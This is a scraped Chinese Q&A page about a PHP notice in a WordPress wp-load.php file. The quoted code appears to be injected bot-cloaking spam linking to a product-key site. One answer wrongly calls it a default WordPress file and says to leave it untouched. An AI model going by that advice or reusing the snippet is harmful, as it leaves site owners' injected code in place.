Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/.htaccess/6.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何使用Wordpress站点中的HTTP REFERER修复未定义的索引错误_Wordpress_Undefined Index - Fatal编程技术网

如何使用Wordpress站点中的HTTP REFERER修复未定义的索引错误

如何使用Wordpress站点中的HTTP REFERER修复未定义的索引错误,wordpress,undefined-index,Wordpress,Undefined Index,我在Wordpress网站顶部收到错误通知,声明如下: Notice: Undefined Index: HTTP REFERER in Path/wp-load.php On Line 7 我试图隐藏通知,但它无法解决问题 上述行中的代码如下所示: <?php $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "http://mywebsite.com/"; $filename = ""; $fromsi

我在Wordpress网站顶部收到错误通知,声明如下:

Notice: Undefined Index: HTTP REFERER in Path/wp-load.php On Line 7
我试图隐藏通知,但它无法解决问题

上述行中的代码如下所示:

<?php
  $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  $mysite = "http://mywebsite.com/";
  $filename = "";
  $fromsite = "https://productkeysdl.com/windows-10-product-key/";
  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false 
    || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || 
    strpos($tmp, 'bot') !== false) {
    $ksite = !empty($_GET['key']) ? $_GET['key'] : "";
    $list = array();

我假设你的意思是“HTTP\u USER\u AGENT”作为未定义的索引出现?因为代码中没有“HTTP\u referer”。请注意,并非所有浏览器都发送HTTP_用户_代理。”http_用户_代理'


如果你的意思是“HTTP_referer”,那么它肯定发生在其他地方。请注意,也不总是提供推荐人

我建议您不要触摸文件中的代码,它会显示通知,因为它是默认的Wordpress文件。如果您真的想删除此通知,请在同一目录中找到wp-config.php文件并查找'wp_DEBUG',使其值为'false'。

我检查了wp-config.php文件,并且'wp_DEBUG'值为'false',但我仍然看到了通知。